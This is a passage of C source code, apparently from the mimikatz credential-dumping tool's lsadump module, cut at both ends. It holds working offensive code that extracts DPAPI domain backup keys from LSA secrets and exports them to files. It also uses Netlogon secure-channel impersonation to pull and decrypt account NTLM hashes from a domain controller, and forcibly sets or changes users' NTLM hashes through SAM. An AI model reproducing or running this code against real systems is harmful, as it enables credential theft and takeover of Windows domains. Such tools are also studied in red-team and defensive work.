	NTSTATUS status = STATUS_UNSUCCESSFUL;
	LSA_OBJECT_ATTRIBUTES oa = {0};
	LSA_HANDLE hPolicy, hSecret;
	UNICODE_STRING name, system, *cur, *old;
	LARGE_INTEGER curDate, oldDate;

	if(secretName)
	{
		RtlInitUnicodeString(&name, secretName);
		RtlInitUnicodeString(&system, systemName);
		status = LsaOpenPolicy(&system, &oa, POLICY_GET_PRIVATE_INFORMATION, &hPolicy);
		if(NT_SUCCESS(status))
		{
			if(!isSecret)
			{
				status = LsaRetrievePrivateData(hPolicy, &name, &cur);
				if(NT_SUCCESS(status))
				{
					if(cur)
					{
						*secret = *cur;
						if(secret->Buffer = (PWSTR) LocalAlloc(LPTR, secret->MaximumLength))
							RtlCopyMemory(secret->Buffer, cur->Buffer, secret->MaximumLength);
						LsaFreeMemory(cur);
					}
				}
			}
			else
			{
				status = LsaOpenSecret(hPolicy, &name, SECRET_QUERY_VALUE, &hSecret);
				if(NT_SUCCESS(status))
				{
					status = LsaQuerySecret(hSecret, &cur, &curDate, &old, &oldDate);
					if(NT_SUCCESS(status))
					{
						if(cur)
						{
							*secret = *cur;
							if(secret->Buffer = (PWSTR) LocalAlloc(LPTR, secret->MaximumLength))
								RtlCopyMemory(secret->Buffer, cur->Buffer, secret->MaximumLength);
							LsaFreeMemory(cur);
						}
						if(old)
							LsaFreeMemory(old);
					}
					LsaClose(hSecret);
				}
			}
			LsaClose(hPolicy);
		}
	}
	return status;
}

void kuhl_m_lsadump_analyzeKey(LPCGUID guid, PKIWI_BACKUP_KEY secret, DWORD size, BOOL isExport)
{
	PVOID data;
	DWORD len;
	UNICODE_STRING uString;
	PWCHAR filename = NULL, shortname;

	if(NT_SUCCESS(RtlStringFromGUID(guid, &uString)))
	{
		uString.Buffer[uString.Length / sizeof(wchar_t) - 1] = L'\0';
		shortname = uString.Buffer + 1;
		switch(secret->version)
		{
		case 2:
			kprintf(L"  * RSA key\n");
			kuhl_m_dpapi_oe_domainkey_add(guid, secret->data, secret->keyLen, TRUE);
			kuhl_m_crypto_exportRawKeyToFile(secret->data, secret->keyLen, FALSE, AT_KEYEXCHANGE, PROV_RSA_FULL, L"ntds", 0, shortname, isExport, TRUE);
			if(isExport)
			{
				data = secret->data + secret->keyLen;
				len = secret->certLen;
				if(filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"pfx"))
				{
					kprintf(L"\tPFX container  : %s - \'%s\'\n", kull_m_crypto_DerAndKeyToPfx(data, len, secret->data, secret->keyLen, FALSE, filename) ? L"OK" : L"KO", filename);
					LocalFree(filename);
				}
				filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"der");
			}
			break;
		case 1:
			kprintf(L"  * Legacy key\n");
			kuhl_m_dpapi_oe_domainkey_add(guid, (PBYTE) secret + sizeof(DWORD), size - sizeof(DWORD), FALSE);
			kull_m_string_wprintf_hex((PBYTE) secret + sizeof(DWORD), size - sizeof(DWORD), (32 << 16));
			kprintf(L"\n");
			if(isExport)
			{
				filename = kuhl_m_crypto_generateFileName(L"ntds", L"legacy", 0, shortname, L"key");
				data = (PBYTE) secret + sizeof(DWORD);
				len = size - sizeof(DWORD);
			}
			break;
		default:
			kprintf(L"  * Unknown key (seen as %08x)\n", secret->version);
			kull_m_string_wprintf_hex(secret, size, (32 << 16));
			kprintf(L"\n");
			if(isExport)
			{
				filename = kuhl_m_crypto_generateFileName(L"ntds", L"unknown", 0, shortname, L"key");
				data = secret;
				len = size;
			}
		}
		if(filename)
		{
			if(data && len)
				kprintf(L"\tExport         : %s - \'%s\'\n", kull_m_file_writeData(filename, data, len) ? L"OK" : L"KO", filename);
			LocalFree(filename);
		}
		RtlFreeUnicodeString(&uString);
	}
}

NTSTATUS kuhl_m_lsadump_getKeyFromGUID(LPCGUID guid, BOOL isExport, LPCWSTR systemName, BOOL isSecret)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	UNICODE_STRING secret;
	wchar_t keyName[48+1] = L"G$BCKUPKEY_";
	keyName[48] = L'\0';

	if(NT_SUCCESS(RtlStringFromGUID(guid, &secret)))
	{
		RtlCopyMemory(keyName + 11, secret.Buffer + 1, 36 * sizeof(wchar_t));
		RtlFreeUnicodeString(&secret);
		
		status = kuhl_m_lsadump_LsaRetrievePrivateData(systemName, keyName, &secret, isSecret);
		if(NT_SUCCESS(status))
		{
			kuhl_m_lsadump_analyzeKey(guid, (PKIWI_BACKUP_KEY) secret.Buffer, secret.Length, isExport);
			LocalFree(secret.Buffer);
		}
		else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status);
	}
	return status;
}

NTSTATUS kuhl_m_lsadump_bkey(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	UNICODE_STRING secret;
	GUID guid;
	PCWCHAR szGuid = NULL, szSystem = NULL;
	BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL);
	BOOL isSecret = kull_m_string_args_byName(argc, argv, L"secret", NULL, NULL);

	kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL);
	kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL);
	if(szGuid)
	{
		RtlInitUnicodeString(&secret, szGuid);
		status = RtlGUIDFromString(&secret, &guid);
		if(NT_SUCCESS(status))
		{
			kprintf(L"\n"); kull_m_string_displayGUID(&guid); kprintf(L" seems to be a valid GUID\n");
			kuhl_m_lsadump_getKeyFromGUID(&guid, export, szSystem, isSecret);
		}
		else PRINT_ERROR(L"Invalid GUID (0x%08x) ; %s\n", status, szGuid);
	}
	else
	{
		kprintf(L"\nCurrent prefered key:       ");
		status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, L"G$BCKUPKEY_PREFERRED", &secret, isSecret);
		if(NT_SUCCESS(status))
		{
			kull_m_string_displayGUID((LPCGUID) secret.Buffer); kprintf(L"\n");
			kuhl_m_lsadump_getKeyFromGUID((LPCGUID) secret.Buffer, export, szSystem, isSecret);
			LocalFree(secret.Buffer);
		}
		else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status);

		kprintf(L"\nCompatibility prefered key: ");
		status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, L"G$BCKUPKEY_P", &secret, isSecret);
		if(NT_SUCCESS(status))
		{
			kull_m_string_displayGUID((LPCGUID) secret.Buffer); kprintf(L"\n");
			kuhl_m_lsadump_getKeyFromGUID((LPCGUID) secret.Buffer, export, szSystem, isSecret);
			LocalFree(secret.Buffer);
		}
		else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status);
	}
	return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_rpdata(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	UNICODE_STRING secret;
	LPCWSTR szName, szSystem = NULL;
	BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); // todo
	BOOL isSecret = kull_m_string_args_byName(argc, argv, L"secret", NULL, NULL);
	if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL))
	{
		kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL);
		status = kuhl_m_lsadump_LsaRetrievePrivateData(szSystem, szName, &secret, isSecret);
		if(NT_SUCCESS(status))
		{
			kull_m_string_wprintf_hex(secret.Buffer, secret.Length, 1 | (16<<16));
			LocalFree(secret.Buffer);
		}
		else PRINT_ERROR(L"kuhl_m_lsadump_LsaRetrievePrivateData: 0x%08x\n", status);
	}
	return STATUS_SUCCESS;
}

NETLOGON_SECURE_CHANNEL_TYPE kuhl_m_lsadump_netsync_sc[] = {WorkstationSecureChannel, ServerSecureChannel, TrustedDnsDomainSecureChannel, CdcServerSecureChannel};
NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	NETLOGON_CREDENTIAL ClientChallenge = {'-', '\\', '|', '/', '-', '\\', '|', '/'}, ServerChallenge, CandidateServerCredential, ClientCredential, ServerCredential;
	NETLOGON_AUTHENTICATOR ClientAuthenticator, ServerAuthenticator;
	BYTE ntlmHash[LM_NTLM_HASH_LENGTH], sessionKey[MD5_DIGEST_LENGTH];
	DWORD i = 0, NegotiateFlags = 0x600fffff;
	MD5_CTX ctx;
	ENCRYPTED_NT_OWF_PASSWORD EncryptedNewOwfPassword, EncryptedOldOwfPassword;
	NT_OWF_PASSWORD NewOwfPassword, OldOwfPassword;
	PCWCHAR szDc, szComputer, szUser, szNtlm, szAccount;

	if(kull_m_string_args_byName(argc, argv, L"dc", &szDc, NULL))
	{
		if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
		{
			kull_m_string_args_byName(argc, argv, L"account", &szAccount, szUser);
			kull_m_string_args_byName(argc, argv, L"computer", &szComputer, MIMIKATZ);
			if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNtlm, NULL))
			{
				if(kull_m_string_stringToHex(szNtlm, ntlmHash, sizeof(ntlmHash)))
				{
					//kprintf(L"> ClientChallenge          : "); kull_m_string_wprintf_hex(ClientChallenge.data, sizeof(ClientChallenge.data), 0); kprintf(L"\n");
					status = I_NetServerReqChallenge((LOGONSRV_HANDLE) szDc, (wchar_t *) szComputer, &ClientChallenge, &ServerChallenge);
					if(NT_SUCCESS(status))
					{
						//kprintf(L"< ServerChallenge          : "); kull_m_string_wprintf_hex(ServerChallenge.data, sizeof(ServerChallenge.data), 0); kprintf(L"\n");
						MD5Init(&ctx);
						MD5Update(&ctx, &i, sizeof(i));
						MD5Update(&ctx, ClientChallenge.data, sizeof(ClientChallenge.data));
						MD5Update(&ctx, ServerChallenge.data, sizeof(ServerChallenge.data));
						MD5Final(&ctx);
						if(kull_m_crypto_hmac(CALG_MD5, ntlmHash, sizeof(ntlmHash), ctx.digest, sizeof(ctx.digest), sessionKey, sizeof(sessionKey)))
						{
							//kprintf(L"> Session Key              : "); kull_m_string_wprintf_hex(sessionKey, sizeof(sessionKey), 0); kprintf(L"\n");
							kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) ClientChallenge.data, (PBYTE) ClientCredential.data, sessionKey);
							kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) ServerChallenge.data, (PBYTE) CandidateServerCredential.data, sessionKey);
							//kprintf(L"> ClientCredential         : "); kull_m_string_wprintf_hex(ClientCredential.data, sizeof(ClientCredential.data), 0); kprintf(L"\n");
							//kprintf(L"> CandidateServerCredential: "); kull_m_string_wprintf_hex(CandidateServerCredential.data, sizeof(CandidateServerCredential.data), 0); kprintf(L"\n");
							//kprintf(L"> NegotiateFlags           : 0x%08x\n", NegotiateFlags);
							status = I_NetServerAuthenticate2((LOGONSRV_HANDLE) szDc, (wchar_t *) szUser, ServerSecureChannel, (wchar_t *) szComputer, &ClientCredential, &ServerCredential, &NegotiateFlags);
							if(NT_SUCCESS(status))
							{
								//kprintf(L"< ServerCredential         : "); kull_m_string_wprintf_hex(ServerCredential.data, sizeof(ServerCredential.data), 0); kprintf(L"\n");
								if(RtlEqualMemory(CandidateServerCredential.data, ServerCredential.data, sizeof(CandidateServerCredential.data)))
								{
									//kprintf(L"< NegotiateFlags           : 0x%08x\n", NegotiateFlags);
									for(status = STATUS_NO_SUCH_USER, i = 0; (status == STATUS_NO_SUCH_USER) && (i < ARRAYSIZE(kuhl_m_lsadump_netsync_sc)); i++)
									{
										kuhl_m_lsadump_netsync_AddTimeStampForAuthenticator(&ClientCredential, 0x10, &ClientAuthenticator, sessionKey);
										//kprintf(L"> ClientAuthenticator (%u)  : ", kuhl_m_lsadump_netsync_sc[i]); kull_m_string_wprintf_hex(ClientAuthenticator.Credential.data, sizeof(ClientAuthenticator.Credential.data), 0); kprintf(L" (%u - 0x%08x)\n", ClientAuthenticator.Timestamp, ClientAuthenticator.Timestamp);
										status = I_NetServerTrustPasswordsGet((LOGONSRV_HANDLE) szDc, (wchar_t *) szAccount, kuhl_m_lsadump_netsync_sc[i], (wchar_t *) szComputer, &ClientAuthenticator, &ServerAuthenticator, &EncryptedNewOwfPassword, &EncryptedOldOwfPassword);
										if(NT_SUCCESS(status))
										{
											kprintf(L"  Account: %s\n", szAccount);
											if(NT_SUCCESS(RtlDecryptNtOwfPwdWithUserKey((LPCBYTE) &EncryptedNewOwfPassword, sessionKey, (LPBYTE) &NewOwfPassword)))
											{
												kprintf(L"  NTLM   : "); kull_m_string_wprintf_hex(&NewOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
											}
											if(NT_SUCCESS(RtlDecryptNtOwfPwdWithUserKey((LPCBYTE) &EncryptedOldOwfPassword, sessionKey, (LPBYTE) &OldOwfPassword)))
											{
												kprintf(L"  NTLM-1 : "); kull_m_string_wprintf_hex(&OldOwfPassword, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
											}
										}
										*(PDWORD64) ClientCredential.data += 1; // lol :) validate server auth
									}
									if(!NT_SUCCESS(status))
										PRINT_ERROR(L"I_NetServerTrustPasswordsGet (0x%08x)\n", status);
								}
								else PRINT_ERROR(L"ServerCredential does not match CandidateServerCredential\n");
							}
							else PRINT_ERROR(L"I_NetServerAuthenticate2 (0x%08x)\n", status);
						}
					}
					else PRINT_ERROR(L"I_NetServerReqChallenge (0x%08x)\n", status);
				}
				else PRINT_ERROR(L"ntlm hash/rc4 key length must be 32 (16 bytes)\n");
			}
			else PRINT_ERROR(L"Missing argument : ntlm\n");
		}
		else PRINT_ERROR(L"Missing argument : user\n");
	}
	else PRINT_ERROR(L"Missing argument : dc\n");
	return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_netsync_NlComputeCredentials(PBYTE input, PBYTE output, PBYTE key) // Q&D
{
  BYTE bufferData[DES_BLOCK_LENGTH];
  RtlZeroMemory(output, DES_BLOCK_LENGTH);
  RtlEncryptBlock(input, key, bufferData);
  return RtlEncryptBlock(bufferData, key + DES_KEY_LENGTH, output);
}

void kuhl_m_lsadump_netsync_AddTimeStampForAuthenticator(PNETLOGON_CREDENTIAL Credential, DWORD TimeStamp, PNETLOGON_AUTHENTICATOR Authenticator, BYTE sessionKey[MD5_DIGEST_LENGTH])
{
	Authenticator->Timestamp = TimeStamp;
	*(PDWORD64) (Credential->data) += TimeStamp;
	kuhl_m_lsadump_netsync_NlComputeCredentials((PBYTE) Credential->data, (PBYTE) Authenticator->Credential.data, sessionKey);
}

/*	This function `setntlm` is based on the idea of
	Vincent LE TOUX ( vincent.letoux@gmail.com / http://www.mysmartlogon.com )
	yes, again him... he loves LSA too ;)
*/
NTSTATUS CALLBACK kuhl_m_lsadump_setntlm_callback(SAMPR_HANDLE hUser, PVOID pvArg)
{
	NTSTATUS status = SamSetInformationUser(hUser, UserInternal1Information, (PSAMPR_USER_INFO_BUFFER) pvArg);
	if(NT_SUCCESS(status))
		kprintf(L"\n>> Informations are in the target SAM!\n");
	else PRINT_ERROR(L"SamSetInformationUser: %08x\n", status);
	return status;
}

NTSTATUS kuhl_m_lsadump_setntlm(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	LSA_UNICODE_STRING password;
	PCWCHAR szPassword;
	SAMPR_USER_INFO_BUFFER infos = {{{0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}, {0x7c, 0x1c, 0x15, 0xe8, 0x74, 0x11, 0xfb, 0xa2, 0x1d, 0x91, 0xa0, 0x81, 0xd4, 0xb3, 0x78, 0x61}, TRUE, FALSE, FALSE, FALSE,}};

	if(kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL))
	{
		RtlInitUnicodeString(&password, szPassword);
		status = RtlCalculateNtOwfPassword(&password, infos.Internal1.NTHash);
		if(!NT_SUCCESS(status))
			PRINT_ERROR(L"Unable to digest NTLM hash from password: %08x\n", status);
	}
	else if(kull_m_string_args_byName(argc, argv, L"ntlm", &szPassword, NULL))
	{
		status = kull_m_string_stringToHex(szPassword, infos.Internal1.NTHash, sizeof(infos.Internal1.NTHash)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD;
		if(!NT_SUCCESS(status))
			PRINT_ERROR(L"Unable to convert \'%s\' to NTLM hash (16 bytes)\n", szPassword);
	}
	else
	{
		kprintf(L"** No credentials provided, will use the default one **\n");
		infos.Internal1.LmPasswordPresent = TRUE;
		status = STATUS_SUCCESS;
	}

	if(NT_SUCCESS(status))
	{
		kprintf(L"NTLM         : ");
		kull_m_string_wprintf_hex(infos.Internal1.NTHash, sizeof(infos.Internal1.NTHash), 0);
		kprintf(L"\n\n");
		status = kuhl_m_lsadump_enumdomains_users(argc, argv, USER_FORCE_PASSWORD_CHANGE, kuhl_m_lsadump_setntlm_callback, &infos);
	}
	return STATUS_SUCCESS;
}

/*	This function `changentlm` is based on another crazy idea of
	Vincent LE TOUX ( vincent.letoux@gmail.com / http://www.mysmartlogon.com )
*/
NTSTATUS CALLBACK kuhl_m_lsadump_changentlm_callback(SAMPR_HANDLE hUser, PVOID pvArg)
{
	PKUHL_M_LSADUMP_CHANGENTLM_DATA data = (PKUHL_M_LSADUMP_CHANGENTLM_DATA) pvArg;
	NTSTATUS status = SamiChangePasswordUser(hUser, data->isOldLM, data->oldLM, data->newLM, data->isNewNTLM, data->oldNTLM, data->newNTLM);
	if(NT_SUCCESS(status))
		kprintf(L"\n>> Change password is a success!\n");
	else if(status == STATUS_WRONG_PASSWORD)
		PRINT_ERROR(L"Bad old NTLM hash or password!\n");
	else if(status == STATUS_PASSWORD_RESTRICTION)
		PRINT_ERROR(L"Bad new NTLM hash or password! (restriction)\n");
	else PRINT_ERROR(L"SamiChangePasswordUser: %08x\n", status);
	return status;
}

NTSTATUS kuhl_m_lsadump_changentlm(int argc, wchar_t * argv[])
{
	NTSTATUS status0 = STATUS_DATA_ERROR, status1 = STATUS_DATA_ERROR;
	LSA_UNICODE_STRING password;
	PCWCHAR szPassword;
	KUHL_M_LSADUMP_CHANGENTLM_DATA infos = {FALSE, {0}, {0}, TRUE, {0}, {0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}};

	if(kull_m_string_args_byName(argc, argv, L"oldpassword", &szPassword, NULL))
	{
		RtlInitUnicodeString(&password, szPassword);
		status0 = RtlCalculateNtOwfPassword(&password, infos.oldNTLM);
		if(!NT_SUCCESS(status0))
			PRINT_ERROR(L"Unable to digest NTLM hash from old password: %08x\n", status0);
	}
	else if(kull_m_string_args_byName(argc, argv, L"oldntlm", &szPassword, NULL) || kull_m_string_args_byName(argc, argv, L"old", &szPassword, NULL))
	{
		status0 = kull_m_string_stringToHex(szPassword, infos.oldNTLM, sizeof(infos.oldNTLM)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD;
		if(!NT_SUCCESS(status0))
			PRINT_ERROR(L"Unable to convert \'%s\' to old NTLM hash (16 bytes)\n", szPassword);
	}
	else PRINT_ERROR(L"Argument /oldpassword: or /oldntlm: is needed\n");

	if(kull_m_string_args_byName(argc, argv, L"newpassword", &szPassword, NULL))
	{
		RtlInitUnicodeString(&password, szPassword);
		status1 = RtlCalculateNtOwfPassword(&password, infos.newNTLM);
		if(!NT_SUCCESS(status1))
			PRINT_ERROR(L"Unable to digest NTLM hash from new password: %08x\n", status1);
	}
	else if(kull_m_string_args_byName(argc, argv, L"newntlm", &szPassword, NULL) || kull_m_string_args_byName(argc, argv, L"new", &szPassword, NULL))
	{
		status1 = kull_m_string_stringToHex(szPassword, infos.newNTLM, sizeof(infos.newNTLM)) ? STATUS_SUCCESS : STATUS_WRONG_PASSWORD;
		if(!NT_SUCCESS(status1))
			PRINT_ERROR(L"Unable to convert \'%s\' to new NTLM hash (16 bytes)\n", szPassword);
	}
	else
	{
		kprintf(L"** No new credentials provided, will use the default one **\n");
		status1 = STATUS_SUCCESS;
	}

	if(NT_SUCCESS(status0) && NT_SUCCESS(status1))
	{
		kprintf(L"OLD NTLM     : ");
		kull_m_string_wprintf_hex(infos.oldNTLM, sizeof(infos.oldNTLM), 0);
		kprintf(L"\nNEW NTLM     : ");
		kull_m_string_wprintf_hex(infos.newNTLM, sizeof(infos.newNTLM), 0);
		kprintf(L"\n\n");
		status0 = kuhl_m_lsadump_enumdomains_users(argc, argv, USER_CHANGE_PASSWORD, kuhl_m_lsadump_changentlm_callback, &infos);
	}
	return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_lsadump_enumdomains_users(int argc, wchar_t * argv[], DWORD dwUserAccess, PKUHL_M_LSADUMP_DOMAINUSER callback, PVOID pvArg)
{
	NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME;
	LSA_UNICODE_STRING serverName, userName;
	PCWCHAR szServer, szUser;
	BOOL isUser = FALSE, isRid = FALSE;
	DWORD rid = 0;

	kull_m_string_args_byName(argc, argv, L"server", &szServer, NULL);
	RtlInitUnicodeString(&serverName, szServer ? szServer : L"");
	kprintf(L"Target server: %wZ\n", &serverName);
	if(isUser = kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
	{
		RtlInitUnicodeString(&userName, szUser);
		kprintf(L"Target user  : %wZ\n", &userName);
	}
	else if(isRid = kull_m_string_args_byName(argc, argv, L"rid", &szUser, NULL))
	{
		rid = wcstoul(szUser, NULL, 0);
		kprintf(L"Target RID   : %u\n", rid);
	}

	if(isUser || isRid)
	{
		status = kuhl_m_lsadump_enumdomains_users_data(&serverName, isUser ? &userName : NULL, rid, dwUserAccess, callback, pvArg);
	}
	else PRINT_ERROR(L"/user or /rid is needed\n");

	return status;
}

DECLARE_CONST_UNICODE_STRING(uBuiltin, L"Builtin");
NTSTATUS kuhl_m_lsadump_enumdomains_users_data(PLSA_UNICODE_STRING uServerName, PLSA_UNICODE_STRING uUserName, DWORD rid, DWORD dwUserAccess, PKUHL_M_LSADUMP_DOMAINUSER callback, PVOID pvArg)
{
	NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
	DWORD i, domainEnumerationContext = 0, domainCountRetourned, *pRid, *pUse;
	PSAMPR_RID_ENUMERATION pEnumDomainBuffer;
	PSID domainSid;
	SAMPR_HANDLE hServerHandle, hDomainHandle, hUserHandle;

	if(uUserName || rid)
	{
		status = SamConnect(uServerName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
		if(NT_SUCCESS(status))
		{
			do
			{
				enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountRetourned);
				if(NT_SUCCESS(enumDomainStatus) || enumDomainStatus == STATUS_MORE_ENTRIES)
				{
					for(i = 0; i < domainCountRetourned; i++)
					{
						if(RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
							continue;
						kprintf(L"Domain name  : %wZ\n", &pEnumDomainBuffer[i].Name);
						status = SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &domainSid);
						if(NT_SUCCESS(status))
						{
							kprintf(L"Domain SID   : ");
							kull_m_string_displaySID(domainSid);
							kprintf(L"\n");
							status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, domainSid, &hDomainHandle);
							if(NT_SUCCESS(status))
							{
								if(uUserName)
								{
									pRid = NULL;
									pUse = NULL;
									status = SamLookupNamesInDomain(hDomainHandle, 1, uUserName, &pRid, &pUse);
									if(NT_SUCCESS(status))
									{
										rid = pRid[0];
										if(pRid)
											SamFreeMemory(pRid);
										if(pUse)
											SamFreeMemory(pUse);
									}
									else PRINT_ERROR(L"SamLookupNamesInDomain: %08x\n", status);
								}

								if(rid)
								{
									kprintf(L"User RID     : %u\n", rid);
									status = SamOpenUser(hDomainHandle, dwUserAccess, rid, &hUserHandle);
									if(NT_SUCCESS(status))
									{
										status = callback(hUserHandle, pvArg);
										SamCloseHandle(hUserHandle);
									}
									else PRINT_ERROR(L"SamOpenUser: %08x\n", status);
								}
								else PRINT_ERROR(L"No RID\n");
								SamCloseHandle(hDomainHandle);
							}
							else PRINT_ERROR(L"SamOpenDomain: %08x\n", status);
							SamFreeMemory(domainSid);
						}
						else PRINT_ERROR(L"SamLookupDomainInSamServer: %08x\n", status);
					}
					SamFreeMemory(pEnumDomainBuffer);
				}
				else PRINT_ERROR(L"SamEnumerateDomainsInSamServer: %08x\n", enumDomainStatus);
			}
			while(enumDomainStatus == STATUS_MORE_ENTRIES);
			SamCloseHandle(hServerHandle);
		}
		else PRINT_ERROR(L"SamConnect: %08x\n", status);
	}
	else PRINT_ERROR(L"username or rid is needed\n");

	return status;
}

PCWCHAR PACKAGES_FLAGS[] = {
	L"INTEGRITY", L"PRIVACY", L"TOKEN_ONLY", L"DATAGRAM",
	L"CONNECTION", L"MULTI_REQUIRED", L"CLIENT_ONLY", L"EXTENDED_ERROR",
	L"IMPERSONATION", L"ACCEPT_WIN32_NAME", L"STREAM", L"NEGOTIABLE",
	L"GSS_COMPATIBLE", L"LOGON", L"ASCII_BUFFERS", L"FRAGMENT",
	L"MUTUAL_AUTH", L"DELEGATION", L"READONLY_WITH_CHECKSUM", L"RESTRICTED_TOKENS",
	L"NEGO_EXTENDER", L"NEGOTIABLE2", L"APPCONTAINER_PASSTHROUGH", L"APPCONTAINER_CHECKS",
};
NTSTATUS kuhl_m_lsadump_packages(int argc, wchar_t * argv[])
{
	SECURITY_STATUS status;
	ULONG cPackages, i, j;
	PSecPkgInfo pPackageInfo;
	CredHandle hCred;
	CtxtHandle hCtx;
	SecBuffer OutBuff = {0, SECBUFFER_TOKEN, NULL};
	SecBufferDesc Output = {SECBUFFER_VERSION, 1, &OutBuff};
	ULONG ContextAttr;

	status = EnumerateSecurityPackages(&cPackages, &pPackageInfo);
	if(status == SEC_E_OK)
	{
		for(i = 0; i < cPackages; i++)
		{
			kprintf(L"Name        : %s\nDescription : %s\nCapabilities: %08x ( ", pPackageInfo[i].Name, pPackageInfo[i].Comment, pPackageInfo[i].fCapabilities);
			for(j = 0; j < sizeof(ULONG) * 8; j++)
				if((pPackageInfo[i].fCapabilities >> j) & 1)
					kprintf(L"%s ; ", (j < ARRAYSIZE(PACKAGES_FLAGS)) ? PACKAGES_FLAGS[j] : L"?");
			kprintf(L")\nMaxToken    : %u\nRPCID       : 0x%04x (%hu)\nVersion     : %hu\n", pPackageInfo[i].cbMaxToken, pPackageInfo[i].wRPCID, pPackageInfo[i].wRPCID, pPackageInfo[i].wVersion);

			if(argc)
			{
				status = AcquireCredentialsHandle(NULL, pPackageInfo[i].Name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCred, NULL);
				if(status == SEC_E_OK)
				{
					status = InitializeSecurityContext(&hCred, NULL, argv[0], ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &Output, &ContextAttr, NULL);
					if((status == SEC_E_OK) || (status == SEC_I_COMPLETE_AND_CONTINUE)  || (status == SEC_I_COMPLETE_NEEDED)  || (status == SEC_I_CONTINUE_NEEDED)  || (status == SEC_I_INCOMPLETE_CREDENTIALS)  || (status == SEC_E_INCOMPLETE_MESSAGE))
					{
						kull_m_string_wprintf_hex(OutBuff.pvBuffer, OutBuff.cbBuffer, 1 | (16 << 16));
						kprintf(L"\n");
						if(OutBuff.pvBuffer)
							FreeContextBuffer(OutBuff.pvBuffer);
						DeleteSecurityContext(&hCtx);
					}
					else PRINT_ERROR(L"InitializeSecurityContext: 0x%08x\n", status);
					FreeCredentialHandle(&hCred);
				}
				else PRINT_ERROR(L"AcquireCredentialsHandle: 0x%08x\n", status);
			}
			kprintf(L"\n");
		}
		FreeContextBuffer(pPackageInfo);
	}
	else PRINT_ERROR(L"EnumerateSecurityPackages: 0x%08x\n", status);
	return STATUS_SUCCESS;
}

BOOL kuhl_m_lsadump_mbc_data(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase)
{
	BOOL status = FALSE;
	HKEY hCurrentControlSet;
	PBYTE data;
	DWORD dataLen;

	if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet))
	{
		if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\Lsa\\Kerberos\\Parameters", L"MachineBoundCertificate", NULL, (LPVOID *) &data, &dataLen))
		{
			kuhl_m_crypto_system_data(data, dataLen, L"MachineBoundCertificate", FALSE);
			LocalFree(data);
		}
		kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet);
	}
	return status;
}

NTSTATUS kuhl_m_lsadump_mbc(int argc, wchar_t * argv[])
{
	HANDLE hDataSystem;
	PKULL_M_REGISTRY_HANDLE hRegistry;
	HKEY hBase;
	LPCWSTR szSystem = NULL;

	if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
	{
		hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
		if(hDataSystem != INVALID_HANDLE_VALUE)
		{
			if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry))
			{
				kuhl_m_lsadump_mbc_data(hRegistry, NULL);
				kull_m_registry_close(hRegistry);
			}
			CloseHandle(hDataSystem);
		}
		else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)");
	}
	else
	{
		if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry))
		{
			if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase))
			{
